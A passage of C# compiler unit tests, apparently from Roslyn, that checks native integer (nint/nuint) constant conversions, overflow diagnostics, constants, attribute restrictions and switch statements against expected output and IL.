constantConversions("decimal", "nint", "(int.MaxValue + 1M)", errorOutOfRange("nint", "2147483648M"), "System.OverflowException", "2147483648", errorOutOfRange("nint", "2147483648M"), "-2147483648", "2147483648");
constantConversions("decimal", "nint", "decimal.MinValue", errorOutOfRange("nint", "-79228162514264337593543950335M"), "System.OverflowException", "System.OverflowException", errorOutOfRange("nint", "-79228162514264337593543950335M"), "-1", "-1");
constantConversions("decimal", "nint", "decimal.MaxValue", errorOutOfRange("nint", "79228162514264337593543950335M"), "System.OverflowException", "System.OverflowException", errorOutOfRange("nint", "79228162514264337593543950335M"), "-1", "-1");
constantConversions("nint", "nint", "int.MinValue", null, "-2147483648", "-2147483648", null, "-2147483648", "-2147483648");
constantConversions("nint", "nint", "int.MaxValue", null, "2147483647", "2147483647", null, "2147483647", "2147483647");
constantConversions("nuint", "nint", "(int.MaxValue + (nuint)1)", warningOutOfRangeChecked("nint", "2147483648"), "System.OverflowException", "2147483648", null, "-2147483648", "2147483648");
constantConversions("sbyte", "nuint", "-1", errorOutOfRangeChecked("nuint", "-1"), "System.OverflowException", "System.OverflowException", null, "4294967295", "18446744073709551615");
constantConversions("sbyte", "nuint", "sbyte.MinValue", errorOutOfRangeChecked("nuint", "-128"), "System.OverflowException", "System.OverflowException", null, "4294967168", "18446744073709551488");
constantConversions("sbyte", "nuint", "sbyte.MaxValue", null, "127", "127", null, "127", "127");
constantConversions("byte", "nuint", "byte.MaxValue", null, "255", "255", null, "255", "255");
constantConversions("short", "nuint", "-1", errorOutOfRangeChecked("nuint", "-1"), "System.OverflowException", "System.OverflowException", null, "4294967295", "18446744073709551615");
constantConversions("short", "nuint", "short.MinValue", errorOutOfRangeChecked("nuint", "-32768"), "System.OverflowException", "System.OverflowException", null, "4294934528", "18446744073709518848");
constantConversions("short", "nuint", "short.MaxValue", null, "32767", "32767", null, "32767", "32767");
constantConversions("ushort", "nuint", "ushort.MaxValue", null, "65535", "65535", null, "65535", "65535");
constantConversions("char", "nuint", "char.MaxValue", null, "65535", "65535", null, "65535", "65535");
constantConversions("int", "nuint", "-1", errorOutOfRangeChecked("nuint", "-1"), "System.OverflowException", "System.OverflowException", null, "4294967295", "18446744073709551615");
constantConversions("int", "nuint", "int.MinValue", errorOutOfRangeChecked("nuint", "-2147483648"), "System.OverflowException", "System.OverflowException", null, "2147483648", "18446744071562067968");
constantConversions("int", "nuint", "int.MaxValue", null, "2147483647", "2147483647", null, "2147483647", "2147483647");
constantConversions("uint", "nuint", "uint.MaxValue", null, "4294967295", "4294967295", null, "4294967295", "4294967295");
constantConversions("long", "nuint", "-1", errorOutOfRangeChecked("nuint", "-1"), "System.OverflowException", "System.OverflowException", null, "4294967295", "18446744073709551615");
constantConversions("long", "nuint", "uint.MaxValue + 1L", warningOutOfRangeChecked("nuint", "4294967296"), "System.OverflowException", "4294967296", null, "0", "4294967296");
constantConversions("long", "nuint", "long.MinValue", errorOutOfRangeChecked("nuint", "-9223372036854775808"), "System.OverflowException", "System.OverflowException", null, "0", "9223372036854775808");
constantConversions("long", "nuint", "long.MaxValue", warningOutOfRangeChecked("nuint", "9223372036854775807"), "System.OverflowException", "9223372036854775807", null, "4294967295", "9223372036854775807");
constantConversions("ulong", "nuint", "uint.MaxValue + 1UL", warningOutOfRangeChecked("nuint", "4294967296"), "System.OverflowException", "4294967296", null, "0", "4294967296");
constantConversions("ulong", "nuint", "ulong.MaxValue", warningOutOfRangeChecked("nuint", "18446744073709551615"), "System.OverflowException", "18446744073709551615", null, "4294967295", "18446744073709551615");
constantConversions("decimal", "nuint", "-1", errorOutOfRange("nuint", "-1M"), "System.OverflowException", "System.OverflowException", errorOutOfRange("nuint", "-1M"), "System.OverflowException", "System.OverflowException");
constantConversions("decimal", "nuint", "(uint.MaxValue + 1M)", errorOutOfRange("nuint", "4294967296M"), "System.OverflowException", "4294967296", errorOutOfRange("nuint", "4294967296M"), "-1", "4294967296");
constantConversions("decimal", "nuint", "decimal.MinValue", errorOutOfRange("nuint", "-79228162514264337593543950335M"), "System.OverflowException", "System.OverflowException", errorOutOfRange("nuint", "-79228162514264337593543950335M"), "-1", "-1");
constantConversions("decimal", "nuint", "decimal.MaxValue", errorOutOfRange("nuint", "79228162514264337593543950335M"), "System.OverflowException", "System.OverflowException", errorOutOfRange("nuint", "79228162514264337593543950335M"), "-1", "-1");
constantConversions("nint", "nuint", "-1", errorOutOfRangeChecked("nuint", "-1"), "System.OverflowException", "System.OverflowException", null, "4294967295", "18446744073709551615");
constantConversions("nuint", "nuint", "uint.MaxValue", null, "4294967295", "4294967295", null, "4294967295", "4294967295");
if (!ExecutionConditionUtil.IsWindowsDesktop)
{
// There are differences in floating point precision across platforms
// so floating point tests are limited to one platform.
return;
}
constantConversions("float", "nint", "(int.MinValue - 10000F)", warningOutOfRangeChecked("nint", "-2.147494E+09"), "System.OverflowException", "-2147493632", null, "-2147483648", "-2147493632");
constantConversions("float", "nint", "(int.MaxValue + 10000F)", warningOutOfRangeChecked("nint", "2.147494E+09"), "System.OverflowException", "2147493632", null, "-2147483648", "2147493632");
constantConversions("float", "nint", "float.MinValue", errorOutOfRangeChecked("nint", "-3.402823E+38"), "System.OverflowException", "System.OverflowException", null, "-2147483648", "-9223372036854775808");
constantConversions("float", "nint", "float.MaxValue", errorOutOfRangeChecked("nint", "3.402823E+38"), "System.OverflowException", "System.OverflowException", null, "-2147483648", "-9223372036854775808");
constantConversions("double", "nint", "(int.MinValue - 1D)", warningOutOfRangeChecked("nint", "-2147483649"), "System.OverflowException", "-2147483649", null, "-2147483648", "-2147483649");
constantConversions("double", "nint", "(int.MaxValue + 1D)", warningOutOfRangeChecked("nint", "2147483648"), "System.OverflowException", "2147483648", null, "-2147483648", "2147483648");
constantConversions("double", "nint", "double.MinValue", errorOutOfRangeChecked("nint", "-1.79769313486232E+308"), "System.OverflowException", "System.OverflowException", null, "-2147483648", "-9223372036854775808");
constantConversions("double", "nint", "double.MaxValue", errorOutOfRangeChecked("nint", "1.79769313486232E+308"), "System.OverflowException", "System.OverflowException", null, "-2147483648", "-9223372036854775808");
constantConversions("float", "nuint", "-1", errorOutOfRangeChecked("nuint", "-1"), "System.OverflowException", "System.OverflowException", null, "4294967295", "18446744073709551615");
constantConversions("float", "nuint", "(uint.MaxValue + 1F)", warningOutOfRangeChecked("nuint", "4.294967E+09"), "System.OverflowException", "4294967296", null, "0", "4294967296");
constantConversions("float", "nuint", "float.MinValue", errorOutOfRangeChecked("nuint", "-3.402823E+38"), "System.OverflowException", "System.OverflowException", null, "0", "9223372036854775808");
constantConversions("float", "nuint", "float.MaxValue", errorOutOfRangeChecked("nuint", "3.402823E+38"), "System.OverflowException", "System.OverflowException", null, "0", "0");
constantConversions("double", "nuint", "-1", errorOutOfRangeChecked("nuint", "-1"), "System.OverflowException", "System.OverflowException", null, "4294967295", "18446744073709551615");
constantConversions("double", "nuint", "(uint.MaxValue + 1D)", warningOutOfRangeChecked("nuint", "4294967296"), "System.OverflowException", "4294967296", null, "0", "4294967296");
constantConversions("double", "nuint", "double.MinValue", errorOutOfRangeChecked("nuint", "-1.79769313486232E+308"), "System.OverflowException", "System.OverflowException", null, "0", "9223372036854775808");
constantConversions("double", "nuint", "double.MaxValue", errorOutOfRangeChecked("nuint", "1.79769313486232E+308"), "System.OverflowException", "System.OverflowException", null, "0", "0");
static DiagnosticDescription errorOutOfRangeChecked(string destinationType, string value) => Diagnostic(ErrorCode.ERR_ConstOutOfRangeChecked, $"({destinationType})x").WithArguments(value, destinationType);
static DiagnosticDescription errorOutOfRange(string destinationType, string value) => Diagnostic(ErrorCode.ERR_ConstOutOfRange, $"({destinationType})x").WithArguments(value, destinationType);
static DiagnosticDescription warningOutOfRangeChecked(string destinationType, string value) => Diagnostic(ErrorCode.WRN_ConstOutOfRangeChecked, $"({destinationType})x").WithArguments(value, destinationType);
void constantConversions(string sourceType, string destinationType, string sourceValue, DiagnosticDescription checkedError, string checked32, string checked64, DiagnosticDescription uncheckedError, string unchecked32, string unchecked64)
{
constantConversion(sourceType, destinationType, sourceValue, useChecked: true, checkedError, IntPtr.Size == 4 ? checked32 : checked64);
constantConversion(sourceType, destinationType, sourceValue, useChecked: false, uncheckedError, IntPtr.Size == 4 ? unchecked32 : unchecked64);
}
void constantConversion(string sourceType, string destinationType, string sourceValue, bool useChecked, DiagnosticDescription expectedError, string expectedOutput)
{
var source =
$@"using System;
class Program
{{
static void Main()
{{
const {sourceType} x = {sourceValue};
object y;
try
{{
y = {(useChecked ? "checked" : "unchecked")}(({destinationType})x);
}}
catch (Exception e)
{{
y = e.GetType();
}}
Console.Write(y);
}}
}}";
var comp = CreateCompilation(source, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(expectedError is null ? Array.Empty<DiagnosticDescription>() : new[] { expectedError });
if (expectedError == null || ErrorFacts.IsWarning((ErrorCode)expectedError.Code))
{
CompileAndVerify(comp, expectedOutput: expectedOutput);
}
}
}
[Fact]
public void Constants_NInt()
{
string source =
$@"class Program
{{
static void Main()
{{
F(default);
F(int.MinValue);
F({short.MinValue - 1});
F(short.MinValue);
F(sbyte.MinValue);
F(-2);
F(-1);
F(0);
F(1);
F(2);
F(3);
F(4);
F(5);
F(6);
F(7);
F(8);
F(9);
F(sbyte.MaxValue);
F(byte.MaxValue);
F(short.MaxValue);
F(char.MaxValue);
F(ushort.MaxValue);
F({ushort.MaxValue + 1});
F(int.MaxValue);
}}
static void F(nint n)
{{
System.Console.WriteLine(n);
}}
}}";
var comp = CreateCompilation(source, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular9);
string expectedOutput =
@"0
-2147483648
-32769
-32768
-128
-2
-1
0
1
2
3
4
5
6
7
8
9
127
255
32767
65535
65535
65536
2147483647";
var verifier = CompileAndVerify(comp, expectedOutput: expectedOutput);
string expectedIL =
@"{
// Code size 209 (0xd1)
.maxstack 1
IL_0000: ldc.i4.0
IL_0001: conv.i
IL_0002: call ""void Program.F(nint)""
IL_0007: ldc.i4 0x80000000
IL_000c: conv.i
IL_000d: call ""void Program.F(nint)""
IL_0012: ldc.i4 0xffff7fff
IL_0017: conv.i
IL_0018: call ""void Program.F(nint)""
IL_001d: ldc.i4 0xffff8000
IL_0022: conv.i
IL_0023: call ""void Program.F(nint)""
IL_0028: ldc.i4.s -128
IL_002a: conv.i
IL_002b: call ""void Program.F(nint)""
IL_0030: ldc.i4.s -2
IL_0032: conv.i
IL_0033: call ""void Program.F(nint)""
IL_0038: ldc.i4.m1
IL_0039: conv.i
IL_003a: call ""void Program.F(nint)""
IL_003f: ldc.i4.0
IL_0040: conv.i
IL_0041: call ""void Program.F(nint)""
IL_0046: ldc.i4.1
IL_0047: conv.i
IL_0048: call ""void Program.F(nint)""
IL_004d: ldc.i4.2
IL_004e: conv.i
IL_004f: call ""void Program.F(nint)""
IL_0054: ldc.i4.3
IL_0055: conv.i
IL_0056: call ""void Program.F(nint)""
IL_005b: ldc.i4.4
IL_005c: conv.i
IL_005d: call ""void Program.F(nint)""
IL_0062: ldc.i4.5
IL_0063: conv.i
IL_0064: call ""void Program.F(nint)""
IL_0069: ldc.i4.6
IL_006a: conv.i
IL_006b: call ""void Program.F(nint)""
IL_0070: ldc.i4.7
IL_0071: conv.i
IL_0072: call ""void Program.F(nint)""
IL_0077: ldc.i4.8
IL_0078: conv.i
IL_0079: call ""void Program.F(nint)""
IL_007e: ldc.i4.s 9
IL_0080: conv.i
IL_0081: call ""void Program.F(nint)""
IL_0086: ldc.i4.s 127
IL_0088: conv.i
IL_0089: call ""void Program.F(nint)""
IL_008e: ldc.i4 0xff
IL_0093: conv.i
IL_0094: call ""void Program.F(nint)""
IL_0099: ldc.i4 0x7fff
IL_009e: conv.i
IL_009f: call ""void Program.F(nint)""
IL_00a4: ldc.i4 0xffff
IL_00a9: conv.i
IL_00aa: call ""void Program.F(nint)""
IL_00af: ldc.i4 0xffff
IL_00b4: conv.i
IL_00b5: call ""void Program.F(nint)""
IL_00ba: ldc.i4 0x10000
IL_00bf: conv.i
IL_00c0: call ""void Program.F(nint)""
IL_00c5: ldc.i4 0x7fffffff
IL_00ca: conv.i
IL_00cb: call ""void Program.F(nint)""
IL_00d0: ret
}";
verifier.VerifyIL("Program.Main", expectedIL);
}
[Fact]
public void Constants_NUInt()
{
string source =
$@"class Program
{{
static void Main()
{{
F(default);
F(0);
F(1);
F(2);
F(3);
F(4);
F(5);
F(6);
F(7);
F(8);
F(9);
F(sbyte.MaxValue);
F(byte.MaxValue);
F(short.MaxValue);
F(char.MaxValue);
F(ushort.MaxValue);
F(int.MaxValue);
F({(uint)int.MaxValue + 1});
F(uint.MaxValue);
}}
static void F(nuint n)
{{
System.Console.WriteLine(n);
}}
}}";
var comp = CreateCompilation(source, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular9);
string expectedOutput =
@"0
0
1
2
3
4
5
6
7
8
9
127
255
32767
65535
65535
2147483647
2147483648
4294967295";
var verifier = CompileAndVerify(comp, expectedOutput: expectedOutput);
string expectedIL =
@"{
// Code size 160 (0xa0)
.maxstack 1
IL_0000: ldc.i4.0
IL_0001: conv.i
IL_0002: call ""void Program.F(nuint)""
IL_0007: ldc.i4.0
IL_0008: conv.i
IL_0009: call ""void Program.F(nuint)""
IL_000e: ldc.i4.1
IL_000f: conv.i
IL_0010: call ""void Program.F(nuint)""
IL_0015: ldc.i4.2
IL_0016: conv.i
IL_0017: call ""void Program.F(nuint)""
IL_001c: ldc.i4.3
IL_001d: conv.i
IL_001e: call ""void Program.F(nuint)""
IL_0023: ldc.i4.4
IL_0024: conv.i
IL_0025: call ""void Program.F(nuint)""
IL_002a: ldc.i4.5
IL_002b: conv.i
IL_002c: call ""void Program.F(nuint)""
IL_0031: ldc.i4.6
IL_0032: conv.i
IL_0033: call ""void Program.F(nuint)""
IL_0038: ldc.i4.7
IL_0039: conv.i
IL_003a: call ""void Program.F(nuint)""
IL_003f: ldc.i4.8
IL_0040: conv.i
IL_0041: call ""void Program.F(nuint)""
IL_0046: ldc.i4.s 9
IL_0048: conv.i
IL_0049: call ""void Program.F(nuint)""
IL_004e: ldc.i4.s 127
IL_0050: conv.i
IL_0051: call ""void Program.F(nuint)""
IL_0056: ldc.i4 0xff
IL_005b: conv.i
IL_005c: call ""void Program.F(nuint)""
IL_0061: ldc.i4 0x7fff
IL_0066: conv.i
IL_0067: call ""void Program.F(nuint)""
IL_006c: ldc.i4 0xffff
IL_0071: conv.i
IL_0072: call ""void Program.F(nuint)""
IL_0077: ldc.i4 0xffff
IL_007c: conv.i
IL_007d: call ""void Program.F(nuint)""
IL_0082: ldc.i4 0x7fffffff
IL_0087: conv.i
IL_0088: call ""void Program.F(nuint)""
IL_008d: ldc.i4 0x80000000
IL_0092: conv.u
IL_0093: call ""void Program.F(nuint)""
IL_0098: ldc.i4.m1
IL_0099: conv.u
IL_009a: call ""void Program.F(nuint)""
IL_009f: ret
}";
verifier.VerifyIL("Program.Main", expectedIL);
}
[Fact]
public void Constants_Locals()
{
var source =
@"#pragma warning disable 219
class Program
{
static void Main()
{
const System.IntPtr a = default;
const nint b = default;
const System.UIntPtr c = default;
const nuint d = default;
}
}";
var comp = CreateCompilation(source, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(
// (6,15): error CS0283: The type 'IntPtr' cannot be declared const
// const System.IntPtr a = default;
Diagnostic(ErrorCode.ERR_BadConstType, "System.IntPtr").WithArguments("System.IntPtr").WithLocation(6, 15),
// (8,15): error CS0283: The type 'UIntPtr' cannot be declared const
// const System.UIntPtr c = default;
Diagnostic(ErrorCode.ERR_BadConstType, "System.UIntPtr").WithArguments("System.UIntPtr").WithLocation(8, 15));
}
[Fact]
public void Constants_Fields_01()
{
var source =
@"class Program
{
const System.IntPtr A = default(System.IntPtr);
const nint B = default(nint);
const System.UIntPtr C = default(System.UIntPtr);
const nuint D = default(nuint);
}";
var comp = CreateCompilation(source, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(
// (3,5): error CS0283: The type 'IntPtr' cannot be declared const
// const System.IntPtr A = default(System.IntPtr);
Diagnostic(ErrorCode.ERR_BadConstType, "const").WithArguments("System.IntPtr").WithLocation(3, 5),
// (3,29): error CS0133: The expression being assigned to 'Program.A' must be constant
// const System.IntPtr A = default(System.IntPtr);
Diagnostic(ErrorCode.ERR_NotConstantExpression, "default(System.IntPtr)").WithArguments("Program.A").WithLocation(3, 29),
// (5,5): error CS0283: The type 'UIntPtr' cannot be declared const
// const System.UIntPtr C = default(System.UIntPtr);
Diagnostic(ErrorCode.ERR_BadConstType, "const").WithArguments("System.UIntPtr").WithLocation(5, 5),
// (5,30): error CS0133: The expression being assigned to 'Program.C' must be constant
// const System.UIntPtr C = default(System.UIntPtr);
Diagnostic(ErrorCode.ERR_NotConstantExpression, "default(System.UIntPtr)").WithArguments("Program.C").WithLocation(5, 30));
}
[Fact]
public void Constants_Fields_02()
{
var source0 =
@"public class A
{
public const nint C1 = -42;
public const nuint C2 = 42;
}";
var comp = CreateCompilation(source0, parseOptions: TestOptions.Regular9);
var ref0 = comp.EmitToImageReference();
var source1 =
@"using System;
class B
{
static void Main()
{
Console.WriteLine(A.C1);
Console.WriteLine(A.C2);
}
}";
comp = CreateCompilation(source1, references: new[] { ref0 }, parseOptions: TestOptions.Regular9, options: TestOptions.ReleaseExe);
CompileAndVerify(comp, expectedOutput:
@"-42
42");
}
[Fact]
public void Constants_ParameterDefaults()
{
var source0 =
@"public class A
{
public static System.IntPtr F1(System.IntPtr i = default) => i;
public static nint F2(nint i = -42) => i;
public static System.UIntPtr F3(System.UIntPtr u = default) => u;
public static nuint F4(nuint u = 42) => u;
}";
var comp = CreateCompilation(source0, parseOptions: TestOptions.Regular9);
var ref0 = comp.EmitToImageReference();
var source1 =
@"using System;
class B
{
static void Main()
{
Console.WriteLine(A.F1());
Console.WriteLine(A.F2());
Console.WriteLine(A.F3());
Console.WriteLine(A.F4());
}
}";
comp = CreateCompilation(source1, references: new[] { ref0 }, parseOptions: TestOptions.Regular9, options: TestOptions.ReleaseExe);
CompileAndVerify(comp, expectedOutput:
@"0
-42
0
42");
}
[Fact]
public void Constants_FromMetadata()
{
var source0 =
@"public class Constants
{
public const nint NIntMin = int.MinValue;
public const nint NIntMax = int.MaxValue;
public const nuint NUIntMin = uint.MinValue;
public const nuint NUIntMax = uint.MaxValue;
}";
var comp = CreateCompilation(source0, parseOptions: TestOptions.Regular9);
var ref0 = comp.EmitToImageReference();
var source1 =
@"using System;
class Program
{
static void Main()
{
const nint nintMin = Constants.NIntMin;
const nint nintMax = Constants.NIntMax;
const nuint nuintMin = Constants.NUIntMin;
const nuint nuintMax = Constants.NUIntMax;
Console.WriteLine(nintMin);
Console.WriteLine(nintMax);
Console.WriteLine(nuintMin);
Console.WriteLine(nuintMax);
}
}";
comp = CreateCompilation(source1, references: new[] { ref0 }, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular9);
CompileAndVerify(comp, expectedOutput:
@"-2147483648
2147483647
0
4294967295");
}
[Fact]
public void ConstantValue_Properties()
{
var source =
@"class Program
{
const nint A = int.MinValue;
const nint B = 0;
const nint C = int.MaxValue;
const nuint D = 0;
const nuint E = uint.MaxValue;
}";
var comp = CreateCompilation(source, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
verify((FieldSymbol)comp.GetMember("Program.A"), int.MinValue, signed: true, negative: true);
verify((FieldSymbol)comp.GetMember("Program.B"), 0, signed: true, negative: false);
verify((FieldSymbol)comp.GetMember("Program.C"), int.MaxValue, signed: true, negative: false);
verify((FieldSymbol)comp.GetMember("Program.D"), 0U, signed: false, negative: false);
verify((FieldSymbol)comp.GetMember("Program.E"), uint.MaxValue, signed: false, negative: false);
static void verify(FieldSymbol field, object expectedValue, bool signed, bool negative)
{
var value = field.GetConstantValue(ConstantFieldsInProgress.Empty, earlyDecodingWellKnownAttributes: false);
Assert.Equal(signed ? ConstantValueTypeDiscriminator.NInt : ConstantValueTypeDiscriminator.NUInt, value.Discriminator);
Assert.Equal(expectedValue, value.Value);
Assert.True(value.IsIntegral);
Assert.True(value.IsNumeric);
Assert.Equal(negative, value.IsNegativeNumeric);
Assert.Equal(!signed, value.IsUnsigned);
}
}
/// <summary>
/// Native integers cannot be used as attribute values.
/// </summary>
[Fact]
public void AttributeValue_01()
{
var source0 =
@"class A : System.Attribute
{
public A() { }
public A(object value) { }
public object Value;
}
[A((nint)1)]
[A(new nuint[0])]
[A(Value = (nint)3)]
[A(Value = new[] { (nuint)4 })]
class B
{
}";
var comp = CreateCompilation(source0, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(
// (7,4): error CS0182: An attribute argument must be a constant expression, typeof expression or array creation expression of an attribute parameter type
// [A((nint)1)]
Diagnostic(ErrorCode.ERR_BadAttributeArgument, "(nint)1").WithLocation(7, 4),
// (8,4): error CS0182: An attribute argument must be a constant expression, typeof expression or array creation expression of an attribute parameter type
// [A(new nuint[0])]
Diagnostic(ErrorCode.ERR_BadAttributeArgument, "new nuint[0]").WithLocation(8, 4),
// (9,12): error CS0182: An attribute argument must be a constant expression, typeof expression or array creation expression of an attribute parameter type
// [A(Value = (nint)3)]
Diagnostic(ErrorCode.ERR_BadAttributeArgument, "(nint)3").WithLocation(9, 12),
// (10,12): error CS0182: An attribute argument must be a constant expression, typeof expression or array creation expression of an attribute parameter type
// [A(Value = new[] { (nuint)4 })]
Diagnostic(ErrorCode.ERR_BadAttributeArgument, "new[] { (nuint)4 }").WithLocation(10, 12));
}
/// <summary>
/// Native integers cannot be used as attribute values.
/// </summary>
[Fact]
public void AttributeValue_02()
{
var source0 =
@"class A : System.Attribute
{
public A() { }
public A(nint value) { }
public nuint[] Value;
}
[A(1)]
[A(Value = default)]
class B
{
}";
var comp = CreateCompilation(source0, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(
// (7,2): error CS0181: Attribute constructor parameter 'value' has type 'nint', which is not a valid attribute parameter type
// [A(1)]
Diagnostic(ErrorCode.ERR_BadAttributeParamType, "A").WithArguments("value", "nint").WithLocation(7, 2),
// (8,4): error CS0655: 'Value' is not a valid named attribute argument because it is not a valid attribute parameter type
// [A(Value = default)]
Diagnostic(ErrorCode.ERR_BadNamedAttributeArgumentType, "Value").WithArguments("Value").WithLocation(8, 4));
}
[Fact]
public void ParameterDefaultValue_01()
{
var source =
@"using System;
class A
{
static void F0(IntPtr x = default, UIntPtr y = default)
{
}
static void F1(IntPtr x = (IntPtr)(-1), UIntPtr y = (UIntPtr)2)
{
}
static void F2(IntPtr? x = null, UIntPtr? y = null)
{
}
static void F3(IntPtr? x = (IntPtr)(-3), UIntPtr? y = (UIntPtr)4)
{
}
}";
var comp = CreateCompilation(source);
comp.VerifyDiagnostics(
// (7,31): error CS1736: Default parameter value for 'x' must be a compile-time constant
// static void F1(IntPtr x = (IntPtr)(-1), UIntPtr y = (UIntPtr)2)
Diagnostic(ErrorCode.ERR_DefaultValueMustBeConstant, "(IntPtr)(-1)").WithArguments("x").WithLocation(7, 31),
// (7,57): error CS1736: Default parameter value for 'y' must be a compile-time constant
// static void F1(IntPtr x = (IntPtr)(-1), UIntPtr y = (UIntPtr)2)
Diagnostic(ErrorCode.ERR_DefaultValueMustBeConstant, "(UIntPtr)2").WithArguments("y").WithLocation(7, 57),
// (13,32): error CS1736: Default parameter value for 'x' must be a compile-time constant
// static void F3(IntPtr? x = (IntPtr)(-3), UIntPtr? y = (UIntPtr)4)
Diagnostic(ErrorCode.ERR_DefaultValueMustBeConstant, "(IntPtr)(-3)").WithArguments("x").WithLocation(13, 32),
// (13,59): error CS1736: Default parameter value for 'y' must be a compile-time constant
// static void F3(IntPtr? x = (IntPtr)(-3), UIntPtr? y = (UIntPtr)4)
Diagnostic(ErrorCode.ERR_DefaultValueMustBeConstant, "(UIntPtr)4").WithArguments("y").WithLocation(13, 59));
}
[Fact]
public void ParameterDefaultValue_02()
{
var sourceA =
@"public class A
{
public static void F0(nint x = default, nuint y = default)
{
Report(x);
Report(y);
}
public static void F1(nint x = -1, nuint y = 2)
{
Report(x);
Report(y);
}
public static void F2(nint? x = null, nuint? y = null)
{
Report(x);
Report(y);
}
public static void F3(nint? x = -3, nuint? y = 4)
{
Report(x);
Report(y);
}
static void Report(object o)
{
System.Console.WriteLine(o ?? ""null"");
}
}";
var sourceB =
@"class B
{
static void Main()
{
A.F0();
A.F1();
A.F2();
A.F3();
}
}";
var expectedOutput =
@"0
0
-1
2
null
null
-3
4";
var comp = CreateCompilation(new[] { sourceA, sourceB }, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular9);
CompileAndVerify(comp, expectedOutput: expectedOutput);
comp = CreateCompilation(sourceA, parseOptions: TestOptions.Regular9);
var ref1 = comp.ToMetadataReference();
var ref2 = comp.EmitToImageReference();
comp = CreateCompilation(sourceB, references: new[] { ref1 }, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular9);
CompileAndVerify(comp, expectedOutput: expectedOutput);
comp = CreateCompilation(sourceB, references: new[] { ref2 }, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular9);
CompileAndVerify(comp, expectedOutput: expectedOutput);
comp = CreateCompilation(sourceB, references: new[] { ref1 }, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular8);
CompileAndVerify(comp, expectedOutput: expectedOutput);
comp = CreateCompilation(sourceB, references: new[] { ref2 }, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular8);
CompileAndVerify(comp, expectedOutput: expectedOutput);
}
[Fact]
public void SwitchStatement_01()
{
var source =
@"using System;
class Program
{
static nint M(nint ret)
{
switch (ret) {
case 0:
ret--; // 2
Report(""case 0: "", ret);
goto case 9999;
case 2:
ret--; // 4
Report(""case 2: "", ret);
goto case 255;
case 6: // start here
ret--; // 5
Report(""case 6: "", ret);
goto case 2;
case 9999:
ret--; // 1
Report(""case 9999: "", ret);
goto default;
case 0xff:
ret--; // 3
Report(""case 0xff: "", ret);
goto case 0;
default:
ret--;
Report(""default: "", ret);
if (ret > 0) {
goto case -1;
}
break;
case -1:
ret = 999;
Report(""case -1: "", ret);
break;
}
return(ret);
}
static void Report(string prefix, nint value)
{
Console.WriteLine(prefix + value);
}
static void Main()
{
Console.WriteLine(M(6));
}
}";
var comp = CreateCompilation(source, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular9);
var verifier = CompileAndVerify(comp, expectedOutput:
@"case 6: 5
case 2: 4
case 0xff: 3
case 0: 2
case 9999: 1
default: 0
0");
verifier.VerifyIL("Program.M", @"
{
// Code size 201 (0xc9)
.maxstack 3
.locals init (long V_0)
IL_0000: ldarg.0
IL_0001: conv.i8
IL_0002: stloc.0
IL_0003: ldloc.0
IL_0004: ldc.i4.6
IL_0005: conv.i8
IL_0006: bgt.s IL_0031
IL_0008: ldloc.0
IL_0009: ldc.i4.m1
IL_000a: conv.i8
IL_000b: sub
IL_000c: dup
IL_000d: ldc.i4.3
IL_000e: conv.i8
IL_000f: ble.un.s IL_0014
IL_0011: pop
IL_0012: br.s IL_002a
IL_0014: conv.u4
IL_0015: switch (
IL_00b4,
IL_0045,
IL_009f,
IL_0057)
IL_002a: ldloc.0
IL_002b: ldc.i4.6
IL_002c: conv.i8
IL_002d: beq.s IL_0069
IL_002f: br.s IL_009f
IL_0031: ldloc.0
IL_0032: ldc.i4 0xff
IL_0037: conv.i8
IL_0038: beq.s IL_008d
IL_003a: ldloc.0
IL_003b: ldc.i4 0x270f
IL_0040: conv.i8
IL_0041: beq.s IL_007b
IL_0043: br.s IL_009f
IL_0045: ldarg.0
IL_0046: ldc.i4.1
IL_0047: sub
IL_0048: starg.s V_0
IL_004a: ldstr ""case 0: ""
IL_004f: ldarg.0
IL_0050: call ""void Program.Report(string, nint)""
IL_0055: br.s IL_007b
IL_0057: ldarg.0
IL_0058: ldc.i4.1
IL_0059: sub
IL_005a: starg.s V_0
IL_005c: ldstr ""case 2: ""
IL_0061: ldarg.0
IL_0062: call ""void Program.Report(string, nint)""
IL_0067: br.s IL_008d
IL_0069: ldarg.0
IL_006a: ldc.i4.1
IL_006b: sub
IL_006c: starg.s V_0
IL_006e: ldstr ""case 6: ""
IL_0073: ldarg.0
IL_0074: call ""void Program.Report(string, nint)""
IL_0079: br.s IL_0057
IL_007b: ldarg.0
IL_007c: ldc.i4.1
IL_007d: sub
IL_007e: starg.s V_0
IL_0080: ldstr ""case 9999: ""
IL_0085: ldarg.0
IL_0086: call ""void Program.Report(string, nint)""
IL_008b: br.s IL_009f
IL_008d: ldarg.0
IL_008e: ldc.i4.1
IL_008f: sub
IL_0090: starg.s V_0
IL_0092: ldstr ""case 0xff: ""
IL_0097: ldarg.0
IL_0098: call ""void Program.Report(string, nint)""
IL_009d: br.s IL_0045
IL_009f: ldarg.0
IL_00a0: ldc.i4.1
IL_00a1: sub
IL_00a2: starg.s V_0
IL_00a4: ldstr ""default: ""
IL_00a9: ldarg.0
IL_00aa: call ""void Program.Report(string, nint)""
IL_00af: ldarg.0
IL_00b0: ldc.i4.0
IL_00b1: conv.i
IL_00b2: ble.s IL_00c7
IL_00b4: ldc.i4 0x3e7
IL_00b9: conv.i
IL_00ba: starg.s V_0
IL_00bc: ldstr ""case -1: ""
IL_00c1: ldarg.0
IL_00c2: call ""void Program.Report(string, nint)""
IL_00c7: ldarg.0
IL_00c8: ret
}
");
}
[Fact]
public void SwitchStatement_02()
{
var source =
@"using System;
class Program
{
static nuint M(nuint ret)
{
switch (ret) {
case 0:
ret--; // 2
Report(""case 0: "", ret);
goto case 9999;
case 2:
ret--; // 4
Report(""case 2: "", ret);
goto case 255;
case 6: // start here
ret--; // 5
Report(""case 6: "", ret);
